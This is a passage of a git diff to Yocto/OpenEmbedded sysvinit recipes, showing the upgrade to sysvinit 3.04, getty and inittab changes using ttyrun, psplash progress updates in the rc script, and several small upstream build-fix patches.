@@ -22,34 +13,8 @@ case $(readlink -f "${getty}") in
if [ -x "/usr/bin/setsid" ] ; then
setsid="/usr/bin/setsid"
fi
+ options=""
;;
esac
-# Backup $IFS.
-DEFAULT_IFS=$IFS
-# Customize Internal Field Separator.
-IFS="$(printf '\n\t')"
-
-for line in $active_serial; do
- # Check we have the file containing current active serial target index.
- if [ -e "/proc/tty/driver/$line" ]
- then
- # Remove all unknown entries and discard the first line (desc).
- activetty=$(grep -v "unknown" "/proc/tty/driver/$line" \
- | tail -n +2 | grep -oh "^\s*\S*[0-9]\+")
- for active in $activetty; do
- # If indexes do match then enable the serial console.
- if [ $active -eq $runtime_tty ]
- then
- if [ -c /dev/$2 ]
- then
- ${setsid:-} ${getty} -L $1 $2 $3
- fi
- break
- fi
- done
- fi
-done
-
-# Restore $IFS.
-IFS=$DEFAULT_IFS
+${setsid:-} ${getty} ${options:-} -L $SPEED $DEVICE $TERM
diff --git a/meta/recipes-core/sysvinit/sysvinit-inittab_2.88dsf.bb b/meta/recipes-core/sysvinit/sysvinit-inittab_2.88dsf.bb
index 8781492d47..6bbe517df1 100644
--- a/meta/recipes-core/sysvinit/sysvinit-inittab_2.88dsf.bb
+++ b/meta/recipes-core/sysvinit/sysvinit-inittab_2.88dsf.bb
@@ -1,8 +1,7 @@
SUMMARY = "Inittab configuration for SysVinit"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://${COREBASE}/meta/files/common-licenses/GPL-2.0;md5=801f80980d171dd6425610833a22dbe6"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://${COREBASE}/meta/files/common-licenses/GPL-2.0-only;md5=801f80980d171dd6425610833a22dbe6"
-PR = "r10"
SRC_URI = "file://inittab \
file://start_getty"
@@ -22,14 +21,14 @@ do_install() {
install -m 0755 ${WORKDIR}/start_getty ${D}${base_bindir}/start_getty
sed -e 's,/usr/bin,${bindir},g' -i ${D}${base_bindir}/start_getty
- set -x
- tmp="${SERIAL_CONSOLES}"
- for i in $tmp
+ CONSOLES="${SERIAL_CONSOLES}"
+ for s in $CONSOLES
do
- j=`echo ${i} | sed s/\;/\ /g`
- l=`echo ${i} | sed -e 's/tty//' -e 's/^.*;//' -e 's/;.*//'`
- label=`echo $l | sed 's/.*\(....\)/\1/'`
- echo "$label:12345:respawn:${base_bindir}/start_getty ${j} vt102" >> ${D}${sysconfdir}/inittab
+ speed=$(echo $s | cut -d\; -f 1)
+ device=$(echo $s | cut -d\; -f 2)
+ label=$(echo $device | sed -e 's/tty//' | tail --bytes=5)
+
+ echo "$label:12345:respawn:${sbindir}/ttyrun $device ${base_bindir}/start_getty $speed $device vt102" >> ${D}${sysconfdir}/inittab
done
if [ "${USE_VT}" = "1" ]; then
@@ -53,41 +52,15 @@ EOF
fi
}
-pkg_postinst_${PN} () {
-# run this on host and on target
-if [ "${SERIAL_CONSOLES_CHECK}" = "" ]; then
- exit 0
-fi
-}
-
-pkg_postinst_ontarget_${PN} () {
-# run this on the target
-if [ -e /proc/consoles ]; then
- tmp="${SERIAL_CONSOLES_CHECK}"
- for i in $tmp
- do
- j=`echo ${i} | sed -e s/^.*\;//g -e s/\:.*//g`
- k=`echo ${i} | sed s/^.*\://g`
- if [ -z "`grep ${j} /proc/consoles`" ]; then
- if [ -z "${k}" ] || [ -z "`grep ${k} /proc/consoles`" ] || [ ! -e /dev/${j} ]; then
- sed -i -e /^.*${j}\ /d -e /^.*${j}$/d /etc/inittab
- fi
- fi
- done
- kill -HUP 1
-else
- exit 1
-fi
-}
-
# USE_VT and SERIAL_CONSOLES are generally defined by the MACHINE .conf.
# Set PACKAGE_ARCH appropriately.
PACKAGE_ARCH = "${MACHINE_ARCH}"
-FILES_${PN} = "${sysconfdir}/inittab ${base_bindir}/start_getty"
-CONFFILES_${PN} = "${sysconfdir}/inittab"
+FILES:${PN} = "${sysconfdir}/inittab ${base_bindir}/start_getty"
+CONFFILES:${PN} = "${sysconfdir}/inittab"
USE_VT ?= "1"
SYSVINIT_ENABLED_GETTYS ?= "1"
-RCONFLICTS_${PN} = "busybox-inittab"
+RDEPENDS:${PN} = "ttyrun"
+RCONFLICTS:${PN} = "busybox-inittab"
diff --git a/meta/recipes-core/sysvinit/sysvinit/0001-hddown-include-libgen.h-for-basename-API.patch b/meta/recipes-core/sysvinit/sysvinit/0001-hddown-include-libgen.h-for-basename-API.patch
new file mode 100644
index 0000000000..5e4053bad1
--- /dev/null
+++ b/meta/recipes-core/sysvinit/sysvinit/0001-hddown-include-libgen.h-for-basename-API.patch
@@ -0,0 +1,38 @@
+From a07c1d94e79840c59563741b45e690e77d4f3dfa Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sun, 3 Dec 2023 20:09:30 -0800
+Subject: [PATCH] hddown: include libgen.h for basename API
+
+musl has removed the non-prototype declaration of basename from string.h [1] which now results in build errors with clang-17+ compiler
+
+include libgen.h for using the posix declaration of the funciton.
+
+Fixes
+
+hddown.c:135:8: error: incompatible integer to pointer conversion assigning to 'char *' from 'int' [-Wint-conversion]
+ 135 | ptr = basename(lnk);
+ | ^ ~~~~~~~~~~~~~
+
+[1] https://git.musl-libc.org/cgit/musl/commit/?id=725e17ed6dff4d0cd22487bb64470881e86a92e7
+
+Upstream-Status: Submitted [https://github.com/slicer69/sysvinit/pull/21]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/hddown.c | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/src/hddown.c b/src/hddown.c
+index 7a2cf28..3b31bc0 100644
+--- a/src/hddown.c
++++ b/src/hddown.c
+@@ -24,6 +24,7 @@ char *v_hddown = "@(#)hddown.c 1.02 22-Apr-2003 miquels@cistron.nl";
+ #ifndef _GNU_SOURCE
+ #define _GNU_SOURCE
+ #endif
++#include <libgen.h>
+ #include <stdio.h>
+ #include <stdlib.h>
+ #include <unistd.h>
+--
+2.43.0
+
diff --git a/meta/recipes-core/sysvinit/sysvinit/install.patch b/meta/recipes-core/sysvinit/sysvinit/install.patch
index 90563a6294..bc6d493c2b 100644
--- a/meta/recipes-core/sysvinit/sysvinit/install.patch
+++ b/meta/recipes-core/sysvinit/sysvinit/install.patch
@@ -3,7 +3,7 @@ From: Qing He <qing.he@intel.com>
Date: Fri, 18 Jun 2010 09:40:30 +0800
Subject: [PATCH] sysvinit: upgrade to version 2.88dsf
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://github.com/slicer69/sysvinit/pull/13]
---
src/Makefile | 53 +++++++++++++++++++++++++++++-----------------------
diff --git a/meta/recipes-core/sysvinit/sysvinit/pidof-add-m-option.patch b/meta/recipes-core/sysvinit/sysvinit/pidof-add-m-option.patch
index 494aa0e012..8ef292ed12 100644
--- a/meta/recipes-core/sysvinit/sysvinit/pidof-add-m-option.patch
+++ b/meta/recipes-core/sysvinit/sysvinit/pidof-add-m-option.patch
@@ -1,4 +1,4 @@
-From 6c490ea6579a132fabb7dbd25387bb521f820371 Mon Sep 17 00:00:00 2001
+From 0e441712d0e366a0384ff3fa879f5a2d2607c24f Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Wed, 24 Jul 2013 17:07:22 +0800
Subject: [PATCH] pidof: add -m option
@@ -10,7 +10,7 @@ each other's pids.
https://bugzilla.redhat.com/show_bug.cgi?id=883856
-Upstream-Status: backport
+Upstream-Status: Backport
Imported patch from: https://bugzilla.redhat.com/attachment.cgi?id=658166
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
@@ -21,10 +21,10 @@ Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
2 files changed, 65 insertions(+), 3 deletions(-)
diff --git a/man/pidof.8 b/man/pidof.8
-index ebe5f55..2fdc4d3 100644
+index 6866cb3..a87d878 100644
--- a/man/pidof.8
+++ b/man/pidof.8
-@@ -25,6 +25,7 @@ pidof -- find the process ID of a running program.
+@@ -25,6 +25,7 @@ pidof - find the process ID of a running program
.RB [ \-n ]
.RB [ \-x ]
.RB [ \-z ]
@@ -32,9 +32,9 @@ index ebe5f55..2fdc4d3 100644
.RB [ \-o
.IR omitpid[,omitpid...] ]
.RB [ \-o
-@@ -76,6 +77,11 @@ is shown. The default separator is a space.
+@@ -77,6 +78,11 @@ is shown. The default separator is a space.
Tells \fIpidof\fP to omit processes with that process id. The special
- pid \fB%PPID\fP can be used to name the parent process of the \fIpidof\fP
+ pid \fB%PPID\fP can be used to name the parent process of the \fBpidof\fP
program, in other words the calling shell or shell script.
+.IP -m
+When used with -o, will also omit any processes that have the same
@@ -45,10 +45,10 @@ index ebe5f55..2fdc4d3 100644
.TP
.B 0
diff --git a/src/killall5.c b/src/killall5.c
-index 8b5cb38..a664954 100644
+index b0728fa..72289e3 100644
--- a/src/killall5.c
+++ b/src/killall5.c
-@@ -126,6 +126,7 @@ typedef struct _s_nfs
+@@ -121,6 +121,7 @@ typedef struct _s_nfs
/* List of processes. */
PROC *plist;
@@ -56,7 +56,7 @@ index 8b5cb38..a664954 100644
/* List of processes to omit. */
OMIT *omit;
-@@ -361,6 +362,20 @@ static void clear_mnt(void)
+@@ -356,6 +357,20 @@ static void clear_mnt(void)
}
}
@@ -77,15 +77,15 @@ index 8b5cb38..a664954 100644
/*
* Check if path is a shadow off a NFS partition.
*/
-@@ -486,6 +501,7 @@ int readproc(int do_stat)
+@@ -481,6 +496,7 @@ int readproc()
DIR *dir;
FILE *fp;
PROC *p, *n;
+ OMIT *o, *m;
struct dirent *d;
- struct stat st;
char path[PATH_MAX+1];
-@@ -733,6 +749,17 @@ int readproc(int do_stat)
+ char buf[PATH_MAX+1];
+@@ -670,6 +686,17 @@ int readproc()
p->next = plist;
plist = p;
p->pid = pid;
@@ -103,7 +103,7 @@ index 8b5cb38..a664954 100644
}
closedir(dir);
-@@ -944,6 +971,26 @@ PIDQ_HEAD *pidof(char *prog)
+@@ -870,6 +897,26 @@ PIDQ_HEAD *pidof(char *prog)
return q;
}
@@ -130,7 +130,7 @@ index 8b5cb38..a664954 100644
/* Give usage message and exit. */
void usage(void)
{
-@@ -994,6 +1041,7 @@ void nsyslog(int pri, char *fmt, ...)
+@@ -920,6 +967,7 @@ void nsyslog(int pri, char *fmt, ...)
#define PIDOF_OMIT 0x02
#define PIDOF_NETFS 0x04
#define PIDOF_QUIET 0x08
@@ -138,7 +138,7 @@ index 8b5cb38..a664954 100644
/*
* Pidof functionality.
-@@ -1011,6 +1059,7 @@ int main_pidof(int argc, char **argv)
+@@ -937,6 +985,7 @@ int main_pidof(int argc, char **argv)
char tmp[512];
char sep = ' ';
@@ -146,7 +146,7 @@ index 8b5cb38..a664954 100644
omit = (OMIT*)0;
nlist = (NFS*)0;
opterr = 0;
-@@ -1018,7 +1067,7 @@ int main_pidof(int argc, char **argv)
+@@ -944,7 +993,7 @@ int main_pidof(int argc, char **argv)
if ((token = getenv("PIDOF_NETFS")) && (strcmp(token,"no") != 0))
flags |= PIDOF_NETFS;
@@ -155,7 +155,7 @@ index 8b5cb38..a664954 100644
case '?':
nsyslog(LOG_ERR,"invalid options on command line!\n");
closelog();
-@@ -1069,6 +1118,9 @@ int main_pidof(int argc, char **argv)
+@@ -995,6 +1044,9 @@ int main_pidof(int argc, char **argv)
case 'z':
list_dz_processes = TRUE;
break;
@@ -165,7 +165,7 @@ index 8b5cb38..a664954 100644
case 'n':
flags |= PIDOF_NETFS;
break;
-@@ -1100,10 +1152,13 @@ int main_pidof(int argc, char **argv)
+@@ -1026,10 +1078,13 @@ int main_pidof(int argc, char **argv)
pid_t spid = 0;
while ((p = get_next_from_pid_q(q))) {
if ((flags & PIDOF_OMIT) && omit) {
@@ -181,7 +181,7 @@ index 8b5cb38..a664954 100644
}
/*
-@@ -1145,6 +1200,7 @@ int main_pidof(int argc, char **argv)
+@@ -1071,6 +1126,7 @@ int main_pidof(int argc, char **argv)
printf("\n");
}
diff --git a/meta/recipes-core/sysvinit/sysvinit/rc b/meta/recipes-core/sysvinit/sysvinit/rc
index 7ca41ae1ae..41196ec90b 100755
--- a/meta/recipes-core/sysvinit/sysvinit/rc
+++ b/meta/recipes-core/sysvinit/sysvinit/rc
@@ -17,6 +17,7 @@
. /etc/default/rcS
export VERBOSE
+export PSPLASH_FIFO_DIR
startup_progress() {
step=$(($step + $step_change))
@@ -26,11 +27,8 @@ startup_progress() {
progress=$progress_size
fi
#echo "PROGRESS is $progress $runlevel $first_step + ($step of $num_steps) $step_change $progress_size"
- #if type psplash-write >/dev/null 2>&1; then
- # TMPDIR=/mnt/.psplash psplash-write "PROGRESS $progress" || true
- #fi
- if [ -e /mnt/.psplash/psplash_fifo ]; then
- echo "PROGRESS $progress" > /mnt/.psplash/psplash_fifo
+ if type psplash-write >/dev/null 2>&1; then
+ psplash-write "PROGRESS $progress" || true
fi
}
@@ -66,7 +64,7 @@ startup() {
stty onlcr 0>&1
# Limit stack size for startup scripts
- [ "$STACK_SIZE" == "" ] || ulimit -S -s $STACK_SIZE
+ [ "$STACK_SIZE" = "" ] || ulimit -S -s $STACK_SIZE
# Now find out what the current and what the previous runlevel are.
@@ -162,6 +160,9 @@ startup() {
#
[ -f $previous_start ] && [ ! -f $stop ] && continue
fi
+ if [ x"${PSPLASH_TEXT_UPDATES}" = x"yes" ]; then
+ psplash-write "MSG $(basename $i .sh | cut -c 4-)" || true
+ fi
case "$runlevel" in
0|6)
startup $i stop
@@ -176,7 +177,6 @@ startup() {
#Uncomment to cause psplash to exit manually, otherwise it exits when it sees a VC switch
if [ "x$runlevel" != "xS" ] && [ ! -x /etc/rc${runlevel}.d/S??xserver-nodm ]; then
if type psplash-write >/dev/null 2>&1; then
- TMPDIR=/mnt/.psplash psplash-write "QUIT" || true
- umount -l /mnt/.psplash
+ psplash-write "QUIT" || true
fi
fi
diff --git a/meta/recipes-core/sysvinit/sysvinit/rcS-default b/meta/recipes-core/sysvinit/sysvinit/rcS-default
index 709cdf6ec5..f7c4a2f841 100644
--- a/meta/recipes-core/sysvinit/sysvinit/rcS-default
+++ b/meta/recipes-core/sysvinit/sysvinit/rcS-default
@@ -27,3 +27,10 @@ VOLATILE_ENABLE_CACHE=yes
# Setting ROOTFS_READ_ONLY to yes and rebooting will give you a read-only rootfs.
# Normally you should not change this value.
ROOTFS_READ_ONLY=no
+# rcS is also used when using busybox init and shares initscripts, some initscripts
+# need to have specific behavior depending on init system
+INIT_SYSTEM=sysvinit
+# set the psplash fifo directory
+PSPLASH_FIFO_DIR=/mnt
+# psplash textual updates knob
+PSPLASH_TEXT_UPDATES=#PSPLASH_TEXT#
diff --git a/meta/recipes-core/sysvinit/sysvinit/realpath.patch b/meta/recipes-core/sysvinit/sysvinit/realpath.patch
index 859fd8baad..b559aa3b49 100644
--- a/meta/recipes-core/sysvinit/sysvinit/realpath.patch
+++ b/meta/recipes-core/sysvinit/sysvinit/realpath.patch
@@ -7,7 +7,7 @@ Subject: [PATCH] Fix build on musl use realpath() API its available on all
realpath() API doesnt work on systems with PATH_MAX set to be unlimited e.g. GNU/Hurd
However for Linux it should always work
-Upstream-Status: Inappropriate[Linux specific]
+Upstream-Status: Inappropriate [Linux specific]
Signed-off-by: Khem Raj <raj.khem@gmail.com>
diff --git a/meta/recipes-core/sysvinit/sysvinit/sysvinit_remove_linux_fs.patch b/meta/recipes-core/sysvinit/sysvinit/sysvinit_remove_linux_fs.patch
new file mode 100644
index 0000000000..89d65c23b7
--- /dev/null
+++ b/meta/recipes-core/sysvinit/sysvinit/sysvinit_remove_linux_fs.patch
@@ -0,0 +1,17 @@
+# From glibc 2.36, <linux/mount.h> (included from <linux/fs.h>) and
+# <sys/mount.h> (included from glibc) are no longer compatible:
+# https://sourceware.org/glibc/wiki/Release/2.36#Usage_of_.3Clinux.2Fmount.h.3E_and_.3Csys.2Fmount.h.3E
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+--- sysvinit-3.04/src/sulogin.c.orig 2022-08-07 23:07:42.952576274 +0200
++++ sysvinit-3.04/src/sulogin.c 2022-08-07 23:08:26.511470983 +0200
+@@ -51,7 +51,6 @@
+ #ifdef __linux__
+ # include <sys/statfs.h>
+ # include <sys/mount.h>
+-# include <linux/fs.h>
+ # include <linux/magic.h>
+ # include <linux/major.h>
+ # ifndef TMPFS_MAGIC
diff --git a/meta/recipes-core/sysvinit/sysvinit_2.97.bb b/meta/recipes-core/sysvinit/sysvinit_2.97.bb
deleted file mode 100644
index 80ab9d70e7..0000000000
--- a/meta/recipes-core/sysvinit/sysvinit_2.97.bb
+++ /dev/null
@@ -1,113 +0,0 @@
-SUMMARY = "System-V like init"
-DESCRIPTION = "This package is required to boot in most configurations. It provides the /sbin/init program. This is the first process started on boot, and the last process terminated before the system halts."
-HOMEPAGE = "http://savannah.nongnu.org/projects/sysvinit/"
-SECTION = "base"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe \
- file://COPYRIGHT;endline=15;md5=a1d3b3526501d3546d530bbe6ab6cdbe \
- "
-
-RDEPENDS_${PN} = "${PN}-inittab"
-
-SRC_URI = "${SAVANNAH_GNU_MIRROR}/sysvinit/sysvinit-${PV}.tar.xz \
- file://install.patch \
- file://crypt-lib.patch \
- file://pidof-add-m-option.patch \
- file://realpath.patch \
- file://0001-include-sys-sysmacros.h-for-major-minor-defines-in-g.patch \
- file://rcS-default \
- file://rc \
- file://rcS \
- file://bootlogd.init \
- file://01_bootlogd \
- "
-SRC_URI[sha256sum] = "2d5996857519bfd8634d2e1debabb3238fb38440f65fbfdc46420ee8bdf25110"
-
-S = "${WORKDIR}/sysvinit-${PV}"
-B = "${S}/src"
-
-inherit update-alternatives features_check
-DEPENDS_append = " update-rc.d-native base-passwd virtual/crypt"
-do_package_setscene[depends] = "${MLPREFIX}base-passwd:do_populate_sysroot"
-
-REQUIRED_DISTRO_FEATURES = "sysvinit"
-
-ALTERNATIVE_${PN} = "init mountpoint halt reboot runlevel shutdown poweroff last lastb mesg utmpdump wall"
-
-ALTERNATIVE_PRIORITY = "200"
-
-ALTERNATIVE_LINK_NAME[init] = "${base_sbindir}/init"
-ALTERNATIVE_PRIORITY[init] = "50"
-
-ALTERNATIVE_LINK_NAME[mountpoint] = "${base_bindir}/mountpoint"
-ALTERNATIVE_PRIORITY[mountpoint] = "20"
-
-ALTERNATIVE_LINK_NAME[halt] = "${base_sbindir}/halt"
-ALTERNATIVE_LINK_NAME[reboot] = "${base_sbindir}/reboot"
-ALTERNATIVE_LINK_NAME[runlevel] = "${base_sbindir}/runlevel"
-ALTERNATIVE_LINK_NAME[shutdown] = "${base_sbindir}/shutdown"
-ALTERNATIVE_LINK_NAME[poweroff] = "${base_sbindir}/poweroff"
-
-ALTERNATIVE_${PN}-pidof = "pidof"
-ALTERNATIVE_LINK_NAME[pidof] = "${base_bindir}/pidof"
-
-ALTERNATIVE_${PN}-sulogin = "sulogin"
-ALTERNATIVE_LINK_NAME[sulogin] = "${base_sbindir}/sulogin"
-
-ALTERNATIVE_${PN}-doc = "mountpoint.1 last.1 lastb.1 mesg.1 wall.1 sulogin.8 utmpdump.1"
-
-ALTERNATIVE_LINK_NAME[last.1] = "${mandir}/man1/last.1"
-ALTERNATIVE_LINK_NAME[lastb.1] = "${mandir}/man1/lastb.1"
-ALTERNATIVE_LINK_NAME[mesg.1] = "${mandir}/man1/mesg.1"
-ALTERNATIVE_LINK_NAME[mountpoint.1] = "${mandir}/man1/mountpoint.1"
-ALTERNATIVE_LINK_NAME[sulogin.8] = "${mandir}/man8/sulogin.8"
-ALTERNATIVE_LINK_NAME[utmpdump.1] = "${mandir}/man1/utmpdump.1"
-ALTERNATIVE_LINK_NAME[wall.1] = "${mandir}/man1/wall.1"
-
-PACKAGES =+ "sysvinit-pidof sysvinit-sulogin"
-FILES_${PN} += "${base_sbindir}/* ${base_bindir}/*"
-FILES_sysvinit-pidof = "${base_bindir}/pidof.sysvinit ${base_sbindir}/killall5"
-FILES_sysvinit-sulogin = "${base_sbindir}/sulogin.sysvinit"
-
-RDEPENDS_${PN} += "sysvinit-pidof initd-functions base-passwd"
-
-CFLAGS_prepend = "-D_GNU_SOURCE "
-export LCRYPT = "-lcrypt"
-EXTRA_OEMAKE += "'base_bindir=${base_bindir}' \
- 'base_sbindir=${base_sbindir}' \
- 'bindir=${bindir}' \
- 'sbindir=${sbindir}' \
- 'sysconfdir=${sysconfdir}' \
- 'includedir=${includedir}' \
- 'mandir=${mandir}' \
- MNTPOINT=yes"
-
-do_install () {
- oe_runmake 'ROOT=${D}' install
-
- install -d ${D}${sysconfdir} \
- ${D}${sysconfdir}/default \
- ${D}${sysconfdir}/init.d
- for level in S 0 1 2 3 4 5 6; do
- install -d ${D}${sysconfdir}/rc$level.d
- done
-
- install -m 0644 ${WORKDIR}/rcS-default ${D}${sysconfdir}/default/rcS
- install -m 0755 ${WORKDIR}/rc ${D}${sysconfdir}/init.d
- install -m 0755 ${WORKDIR}/rcS ${D}${sysconfdir}/init.d
- install -m 0755 ${WORKDIR}/bootlogd.init ${D}${sysconfdir}/init.d/bootlogd
- ln -sf bootlogd ${D}${sysconfdir}/init.d/stop-bootlogd
-
- update-rc.d -r ${D} bootlogd start 07 S .
- update-rc.d -r ${D} stop-bootlogd start 99 2 3 4 5 .
-
- install -d ${D}${sysconfdir}/default/volatiles
- install -m 0644 ${WORKDIR}/01_bootlogd ${D}${sysconfdir}/default/volatiles
-
- chown root:shutdown ${D}${base_sbindir}/halt ${D}${base_sbindir}/shutdown
- chmod o-x,u+s ${D}${base_sbindir}/halt ${D}${base_sbindir}/shutdown
-
- # Already provided by e2fsprogs; sysvinit's version is a copy from there
- rm ${D}${base_sbindir}/logsave
- rm ${D}${mandir}/man8/logsave.8
-}
diff --git a/meta/recipes-core/sysvinit/sysvinit_3.04.bb b/meta/recipes-core/sysvinit/sysvinit_3.04.bb
new file mode 100644
index 0000000000..6a612468f3
--- /dev/null
+++ b/meta/recipes-core/sysvinit/sysvinit_3.04.bb
@@ -0,0 +1,119 @@
+SUMMARY = "System-V like init"
+DESCRIPTION = "This package is required to boot in most configurations. It provides the /sbin/init program. This is the first process started on boot, and the last process terminated before the system halts."
+HOMEPAGE = "http://savannah.nongnu.org/projects/sysvinit/"
+SECTION = "base"
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe \
+ file://COPYRIGHT;endline=15;md5=a1d3b3526501d3546d530bbe6ab6cdbe \
+ "
+
+RDEPENDS:${PN} = "${PN}-inittab"
+
+SRC_URI = "${SAVANNAH_GNU_MIRROR}/sysvinit/sysvinit-${PV}.tar.xz \
+ file://install.patch \
+ file://crypt-lib.patch \
+ file://pidof-add-m-option.patch \
+ file://realpath.patch \
+ file://0001-include-sys-sysmacros.h-for-major-minor-defines-in-g.patch \
+ file://sysvinit_remove_linux_fs.patch \
+ file://rcS-default \
+ file://rc \
+ file://rcS \
+ file://bootlogd.init \
+ file://01_bootlogd \
+ file://0001-hddown-include-libgen.h-for-basename-API.patch \
+ "
+SRC_URI[sha256sum] = "2a621fe6e4528bc91308b74867ddaaebbdf7753f02395c0c5bae817bd2b7e3a5"
+
+S = "${WORKDIR}/sysvinit-${PV}"
+
+inherit update-alternatives features_check
+DEPENDS:append = " update-rc.d-native base-passwd virtual/crypt"
+do_package_setscene[depends] = "${MLPREFIX}base-passwd:do_populate_sysroot"
+
+PACKAGECONFIG[psplash-text-updates] = ",,"
+
+REQUIRED_DISTRO_FEATURES = "sysvinit"
+
+ALTERNATIVE:${PN} = "init mountpoint halt reboot runlevel shutdown poweroff last lastb mesg utmpdump wall"
+
+ALTERNATIVE_PRIORITY = "200"
+
+ALTERNATIVE_LINK_NAME[init] = "${base_sbindir}/init"
+ALTERNATIVE_PRIORITY[init] = "50"
+
+ALTERNATIVE_LINK_NAME[mountpoint] = "${base_bindir}/mountpoint"
+ALTERNATIVE_PRIORITY[mountpoint] = "20"
+
+ALTERNATIVE_LINK_NAME[halt] = "${base_sbindir}/halt"
+ALTERNATIVE_LINK_NAME[reboot] = "${base_sbindir}/reboot"
+ALTERNATIVE_LINK_NAME[runlevel] = "${base_sbindir}/runlevel"
+ALTERNATIVE_LINK_NAME[shutdown] = "${base_sbindir}/shutdown"
+ALTERNATIVE_LINK_NAME[poweroff] = "${base_sbindir}/poweroff"
+
+ALTERNATIVE:${PN}-pidof = "pidof"
+ALTERNATIVE_LINK_NAME[pidof] = "${base_bindir}/pidof"
+
+ALTERNATIVE:${PN}-sulogin = "sulogin"
+ALTERNATIVE_LINK_NAME[sulogin] = "${base_sbindir}/sulogin"
+
+ALTERNATIVE:${PN}-doc = "mountpoint.1 last.1 lastb.1 mesg.1 wall.1 sulogin.8 utmpdump.1"
+
+ALTERNATIVE_LINK_NAME[last.1] = "${mandir}/man1/last.1"
+ALTERNATIVE_LINK_NAME[lastb.1] = "${mandir}/man1/lastb.1"
+ALTERNATIVE_LINK_NAME[mesg.1] = "${mandir}/man1/mesg.1"
+ALTERNATIVE_LINK_NAME[mountpoint.1] = "${mandir}/man1/mountpoint.1"
+ALTERNATIVE_LINK_NAME[sulogin.8] = "${mandir}/man8/sulogin.8"
+ALTERNATIVE_LINK_NAME[utmpdump.1] = "${mandir}/man1/utmpdump.1"
+ALTERNATIVE_LINK_NAME[wall.1] = "${mandir}/man1/wall.1"
+
+PACKAGES =+ "sysvinit-pidof sysvinit-sulogin"
+FILES:${PN} += "${base_sbindir}/* ${base_bindir}/*"
+FILES:sysvinit-pidof = "${base_bindir}/pidof.sysvinit ${base_sbindir}/killall5"
+FILES:sysvinit-sulogin = "${base_sbindir}/sulogin.sysvinit"
+
+RDEPENDS:${PN} += "sysvinit-pidof initd-functions base-passwd"
+
+CFLAGS:prepend = "-D_GNU_SOURCE "
+export LCRYPT = "-lcrypt"
+EXTRA_OEMAKE += "'base_bindir=${base_bindir}' \
+ 'base_sbindir=${base_sbindir}' \
+ 'bindir=${bindir}' \
+ 'sbindir=${sbindir}' \
+ 'sysconfdir=${sysconfdir}' \
+ 'includedir=${includedir}' \
+ 'mandir=${mandir}' \
+ MNTPOINT=yes"
+
+do_install () {
+ oe_runmake 'ROOT=${D}' install
+
+ install -d ${D}${sysconfdir} \
+ ${D}${sysconfdir}/default \
+ ${D}${sysconfdir}/init.d
+ for level in S 0 1 2 3 4 5 6; do
+ install -d ${D}${sysconfdir}/rc$level.d
+ done
+
+ sed -e \
+ 's:#PSPLASH_TEXT#:${@bb.utils.contains("PACKAGECONFIG","psplash-text-updates","yes","no", d)}:g' \
+ ${WORKDIR}/rcS-default > ${D}${sysconfdir}/default/rcS
+ chmod 0644 ${D}${sysconfdir}/default/rcS
+ install -m 0755 ${WORKDIR}/rc ${D}${sysconfdir}/init.d
+ install -m 0755 ${WORKDIR}/rcS ${D}${sysconfdir}/init.d
+ install -m 0755 ${WORKDIR}/bootlogd.init ${D}${sysconfdir}/init.d/bootlogd
+ ln -sf bootlogd ${D}${sysconfdir}/init.d/stop-bootlogd
+
+ update-rc.d -r ${D} bootlogd start 07 S .
+ update-rc.d -r ${D} stop-bootlogd start 99 2 3 4 5 .
+
+ install -d ${D}${sysconfdir}/default/volatiles
+ install -m 0644 ${WORKDIR}/01_bootlogd ${D}${sysconfdir}/default/volatiles
+
+ chown root:shutdown ${D}${base_sbindir}/halt ${D}${base_sbindir}/shutdown
+ chmod o-x,u+s ${D}${base_sbindir}/halt ${D}${base_sbindir}/shutdown
+
+ # Already provided by e2fsprogs; sysvinit's version is a copy from there
+ rm ${D}${base_sbindir}/logsave
+ rm ${D}${mandir}/man8/logsave.8
+}
diff --git a/meta/recipes-core/ttyrun/ttyrun_2.32.0.bb b/meta/recipes-core/ttyrun/ttyrun_2.32.0.bb
new file mode 100644
index 0000000000..9a8be15dab
--- /dev/null
+++ b/meta/recipes-core/ttyrun/ttyrun_2.32.0.bb
@@ -0,0 +1,33 @@
+SUMMARY = "Start the program if the specified terminal device is available."
+DESCRIPTION = "ttyrun is typically used to prevent a respawn through the \
+init(8) program when a terminal is not available."
+HOMEPAGE = "https://github.com/ibm-s390-linux/s390-tools"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=f5118f167b055bfd7c3450803f1847af"
+
+SRC_URI = "git://github.com/ibm-s390-linux/s390-tools;protocol=https;branch=master"
+SRCREV = "9eea78b3ad8ab3710fb3b2d80b9cd058d7c8aba7"
+
+S = "${WORKDIR}/git"
+
+EXTRA_OEMAKE = "\
+ V=1 \
+ CC="${CC}" \
+ DISTRELEASE=${PR} \
+ "
+
+# We just want ttyrun and not the rest of s390-utils
+
+do_configure() {
+ oe_runmake -C ${S}/iucvterm/src clean
+}
+
+do_compile() {
+ oe_runmake -C ${S}/iucvterm/src ttyrun
+}
+
+do_install() {
+ install -d ${D}${sbindir}
+ install ${S}/iucvterm/src/ttyrun ${D}${sbindir}
+}
diff --git a/meta/recipes-core/udev/eudev/0014-Revert-rules-remove-firmware-loading-rules.patch b/meta/recipes-core/udev/eudev/0014-Revert-rules-remove-firmware-loading-rules.patch
deleted file mode 100644
index fe2ba5328d..0000000000
--- a/meta/recipes-core/udev/eudev/0014-Revert-rules-remove-firmware-loading-rules.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From 4f0a722489154da99e7f6b3051afde984eed2f74 Mon Sep 17 00:00:00 2001
-From: Jonathan Liu <net147@gmail.com>
-Date: Thu, 19 Mar 2015 15:01:29 +1100
-Subject: [PATCH] Revert "rules: remove firmware loading rules"
-
-This reverts commit 70e7d754ddb356fb1a2942b262f8cee9650e2a19.
